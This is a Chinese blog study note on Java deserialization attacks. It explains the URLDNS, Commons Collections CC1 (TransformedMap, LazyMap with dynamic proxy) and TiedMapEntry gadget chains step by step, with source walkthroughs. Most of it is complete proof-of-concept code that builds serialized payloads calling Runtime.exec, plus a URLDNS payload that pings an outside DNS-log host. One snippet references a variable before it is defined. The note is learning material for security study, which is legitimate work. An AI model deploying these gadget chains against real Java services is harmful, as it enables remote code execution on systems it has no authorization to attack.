java学习–反序列化

URLDNS

先看波poc

package ysoserial;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class test {
    public static void main(String[] args) throws Exception {
        //0x01.生成payload
        //设置一个hashMap
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        //设置我们可以接受DNS查询的地址
        URL url = new URL("http://oo10yy.dnslog.cn");
        //将URL的hashCode字段设置为允许修改
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        //**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**
        //1. 设置url的hashCode字段为0xdeadbeef
        f.set(url, 0xdeadbeef);
        //2. 将url放入hashMap中,key-value
        hashMap.put(url, "123");
        //修改url的hashCode字段为-1,为了触发DNS查询
        f.set(url, -1);
        //0x02.写入文件模拟网络传输
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);
        //0x03.读取文件,进行反序列化触发payload
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }
}

分析,先看一下HashMap的readObject

private void readObject(java.io.ObjectInputStream s){
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();

        ...
        ...

            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                //由于HashMap是key:value存储的,putVal就是将键值放入HashMap
                putVal(hash(key), key, value, false, false);
            }
        }
}

HashMap#hash(key)

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

这里的hashCode方法是key下的方法,我们令其为URL,也就是
URL#hashCode()

    //hashCode默认=-1
    private int hashCode = -1;
    //url传输实现类
    transient URLStreamHandler handler;

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

URLStreamHandler#hashCode()

    protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }
        ...
        ...
        return h;
    }

URLStreamHandler#getHostAddress(),在getHost触发dns解析

    protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);//这一步根据域名获取ip,进行一次dns
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

在这里插入图片描述

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

值得一提的是poc中首先将url的hashCode设置成任意再设置成-1,是因为

HashMap#put中有一次hash(key)操作

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

所以如果直接将其设置为-1就会本地触发一次URLDNS干扰判断,而ysoserial在新建URL对象时传入了一个自己的handler,这个handler继承了URLStreamHandler,并将getHostAddress置空,这样在生成payload的时候虽然hashCode=-1但是不会触发dns

CC1

TransformedMap

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:\\Windows\\System32\\calc.exe"}),
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        outerMap.put("aa","bb");
    }
}

Transformer是一个接口,里面有一个transform方法

public interface Transformer {
    ...
    public Object transform(Object input);
}

TransformedMap用于对Map做一个修饰,如下decorate函数会对传过来的map进行修饰,如keyTransformer是针对map中的key做回调,valueTransformer是针对map中的value做回调,并返回一个新的装饰好的TransformedMap

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

但是这里的key/valueTransformer并不是一个函数,而是一个继承了Transformer接口的实例,在转换Map的新元素时就会调用该实例下的transform方法

demo中首先通过Transformer[]transformers赋值为多个Transformer,内容为

1.ConstantTransformer:保存并返回传过来的对象,在这里也就是Runtime.getRuntime()

2.InvokerTransformer:初始构造函数为:

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;//方法名(exec)
        iParamTypes = paramTypes;//参数类型(String.class)
        iArgs = args;//参数({"C:\\Windows\\System32\\calc.exe"})
    }

然后将其放入ChainedTransformer的实例中,它的transform函数如下

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}
ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

然后新建一个Map,进行针对value的装饰

Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);

在对outerMap放入新元素时调用transformerChain下的transform函数中,也就是ChainedTransformer#transform

上面也看了,就是会遍历每一个iTransformers,并执行该iTransformers的transform,

首先ConstantTransformer:保存并返回传过来的对象Runtime.getRuntime()

其次第二个将ConstantTransformer返回的结果(Runtime.getRuntime())当作参数传入InvokerTransformer,执行exec函数,有点类似这个:

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe")

不过这个demo是一个理想的poc,首先如果加上反序列化(如下),会报Runtime没有serializeable

Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime

public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"}),
    };

    Transformer transformerChain = new ChainedTransformer(transformers);

    Map innerMap = new HashMap();
    Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
    //outerMap.put("aa","bb");

    FileOutputStream f = new FileOutputStream("payload.bin");
    ObjectOutputStream fout = new ObjectOutputStream(f);
    fout.writeObject(outerMap);

    FileInputStream fi = new FileInputStream("payload.bin");
    ObjectInputStream fin = new ObjectInputStream(fi);
    fin.readObject();

但是可以通过反射来获得Runtime对象而不是Runtime类

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");

转换成Transformer

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };

img

这样就能序列化了

public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("123","123");
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        //outerMap.put("aa","bb");

        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(outerMap);

        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        Map outMap_2 = (Map) fin.readObject();//序列化后反序列化得到一个Map
        outMap_2.put("aa","bb");//put触发transform方法
    }

但是有点鸡肋,因为还需要服务端手动往map放值,接下来使用AnnotationInvocationHandler#readObject来自动触发,要求jdk1.7

readObject(本地是1.8就直接复制了别人的代码emmm)

 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        //默认反序列化
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();//
        Iterator var4 = this.memberValues.entrySet().iterator();//获取我们构造map的迭代器

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();//遍历map迭代器
            String var6 = (String)var5.getKey();//获取key的名称
            Class var7 = (Class)var3.get(var6);//获取var2中相应key的class类?这边具体var3是什么个含义不太懂,但是肯定var7、8两者不一样
            if (var7 != null) {
                Object var8 = var5.getValue();//获取map的value
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    //两者类型不一致,给var5赋值!!具体赋值什么已经不关键了!只要赋值了就代表执行命令成功
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
}

注意到最后一个if语句里执行了setValue,也就是说反序列化时会自动触发Map中的transform

先看一下构造方法

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {//var1满足这个if条件时
        this.type = var1;//传入的var1到this.type
        this.memberValues = var2;//我们的map传入this.memberValues
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

由于AnnotationInvocationHandler是一个内置类不能直接实例化,所以需要反射

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class,outerMap);

此时

this.type=Retention.class;
this.memberValues=outerMap;

@Retention可以用来修饰注解,是注解的注解,称为元注解

@Documented//被写入javadoc文档
@Retention(RetentionPolicy.RUNTIME)//生命周期为运行时级别
@Target(ElementType.ANNOTATION_TYPE)//标明注解可以用于注解声明(应用于另一个注解上)
public @interface Retention {
    /**
     * Returns the retention policy.
     * @return the retention policy
     */
    RetentionPolicy value();
}

例如:

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface DBTable {
    String name() default "";//default是默认值
}

---------------使用------------------

@DBTable(name = "MEMBER")
public class Member {
}

偷张图
在这里插入图片描述

AnnotationInvocationHandler#readObject中var2首先会得到this.type(Retention.class)的注解

Annotation Type:
   Member types: {value=class java.lang.annotation.RetentionPolicy}
   Member defaults: {}
   Retention policy: RUNTIME
   Inherited: false

然后var3=var2.memberTypes()得到一个{value : Member types}键值对

var4得到传入的Map的迭代对象

Iterator var4 = this.memberValues.entrySet().iterator();

如果要保证能进入if,那var7就不能为空,也就是var3,中有var6这个键

Entry var5 = (Entry)var4.next();//获取到传入的{key:value}
String var6 = (String)var5.getKey();//获取传入的键值对的键名key
Class var7 = (Class)var3.get(var6);
if (var7 != null) 
    {
    //触发命令执行处
    }

例如我们设置innerMap.put("value":"123")

此时

var5={"value":"123"};
var6="value";
var3={"value":"class java.lang.annotation.RetentionPolicy"};
var7="class java.lang.annotation.RetentionPolicy"

var7不为空,反序列化触发setValue,触发transform完成自动调用,下面放出jdk1.8的调试信息(懒得弄1.7了对照着1.8看吧..)

在这里插入图片描述
poc:

public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value","123");
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        //outerMap.put("aa","bb");

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class,outerMap);

        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(instance);

        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        fin.readObject();
}

在jdk1.8中的AnnotationInvocationHandler#readObject不直接使用我们传入的Map了,而是新建了一个LinkedHashMap然后把键值放进去,所以即使setValue也不是我们传入的Map的set了

LinkedHashMap var7 = new LinkedHashMap();

u1s1 CC链确实不好理解

lazymap

换个思路,看看lazymap如何触发

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执 行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:

如下:

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key); //触发transform
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

但是在sun.reflect.annotation.AnnotationInvocationHandler#readObject中并没有直接调用get方法,而AnnotationInvocationHandler#invoke中有,那么就想办法调用invoke

public Object invoke(Object var1, Method var2, Object[] var3) {
    ...
        switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);//调用了get
    ...
}

ysoserial使用的是JAVA代理

作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需要用到 java.reflect.Proxy

Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),//类加载器
    new Class[] {Map.class},//代理对象
    handler//实现了InvocationHandler接口的对象,包含代理逻辑
);

例子:

public class ExampleInvocationHandler implements InvocationHandler {
    protected Map map;
    public ExampleInvocationHandler(Map map){
        this.map=map;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if (method.getName().compareTo("get")==0){
            return "hack obj";
        }
        System.out.println("ExampleInvocationHandler is there....");
        return method.invoke(this.map,args);
    }
}

该类继承了InvocationHandler并重写invoke,作用为监听get时间

在用test类跑一下

public class test {
public static void main(String[] args) throws Exception {
        InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);
        proxyMap.put("hello", "world");
        String result = (String) proxyMap.get("hello");
        System.out.println(result);
    }
}

会发现得到的是hack obj,因为我们将ExampleInvocationHandler用做了代理,在用代理的proxyMap进行get时就会被ExampleInvocationHandler监听到并返回hack obj

也就相当于我们能通过代理来调用invoke函数

同理我们能把AnnotationInvocationHandler用Proxy进行代理,在readObject时调用任意的方法就会触发AnnotationInvocationHandler#invoke,然后进入LazyMap#get=>触发transform

poc

//首先对照上面的poc将TransformedMap替换成LazyMap
Map outerMap = LazyMap.decorate(innerMap,transformersChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//先得到handler
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
//得到代理proxyMap
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
//最后需要把proxyMap放入InvocationHandler中,不然无法序列化
handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);
public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
        new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
        new ConstantTransformer(1)//别管,加上就是了,P牛解释是:隐蔽了启动进程的日志特征
    };
    Transformer transformersChain = new ChainedTransformer(fakeTransformers);
    Map innerMap = new HashMap();
    Map outerMap = LazyMap.decorate(innerMap,transformersChain);

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
    Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
    handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);

    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(handler);
    oos.close();

    System.out.println(barr);
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    Object o = (Object)ois.readObject();
}

jdk>1.8

解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get()的地⽅

为:org.apache.commons.collections.keyvalue.TiedMapEntry

在getValue函数中调用了get

public Object getValue() {
    return map.get(key);
}

在hashCode中调用了getValue

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
        (value == null ? 0 : value.hashCode()); 
}

现在问题到了如何触发hashCode了,ysoserial中找的利用链为:

java.util.HashSet#readObject->HashMap#put()->HashMap#hash(key)->TiedMapEntry#hashCode()

P牛找的:

java.util.HashMap#readObject->HashMap#hash()->TiedMapEntry#hashCode()

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        ...
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);//HashMap#readObject->HashMap#hash()
            }
        }
    }

因为HashMap#hash中会调用hashCode

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

所以只需要令HashMapkeyTiedMapEntry即可

构造poc

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

这里为了避免本地调用,先用一个fakeTransformers,最后在用transformers替换

public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        Transformer transformersChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformersChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey");//把outerMap放入TiedMapEntry

        Map expMap = new HashMap();
        expMap.put(tme,"valuevalue");//前面说了,要将TiedMapEntry对象当作HashMap的key
        outerMap.remove("keykey");

        Field fa = ChainedTransformer.class.getDeclaredField("iTransformers");//
        fa.setAccessible(true);
        fa.set(transformersChain,transformers);//将真正的transformers放入exp中

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
}

中间有一步outerMap.remove("keykey")

如果把他去掉再在LazyMap#get中打断点就会发现

map.containsKey(key)为True,无法进入if循环,也就无法触发transform

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) { //key = "keykey"
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

这是因为上一步把TiedMapEntry对象put进expMap时,expMap作为HashMap会自调用一次hash(key)

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

导致这个链在这里调用了一遍,因为这时是fakeTransformers,所以不会弹计算器,所以在这里手动将这个keykey移除就好了

在这里插入图片描述
参考:
P牛java安全漫谈
https://xz.aliyun.com/t/7031#toc-5

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇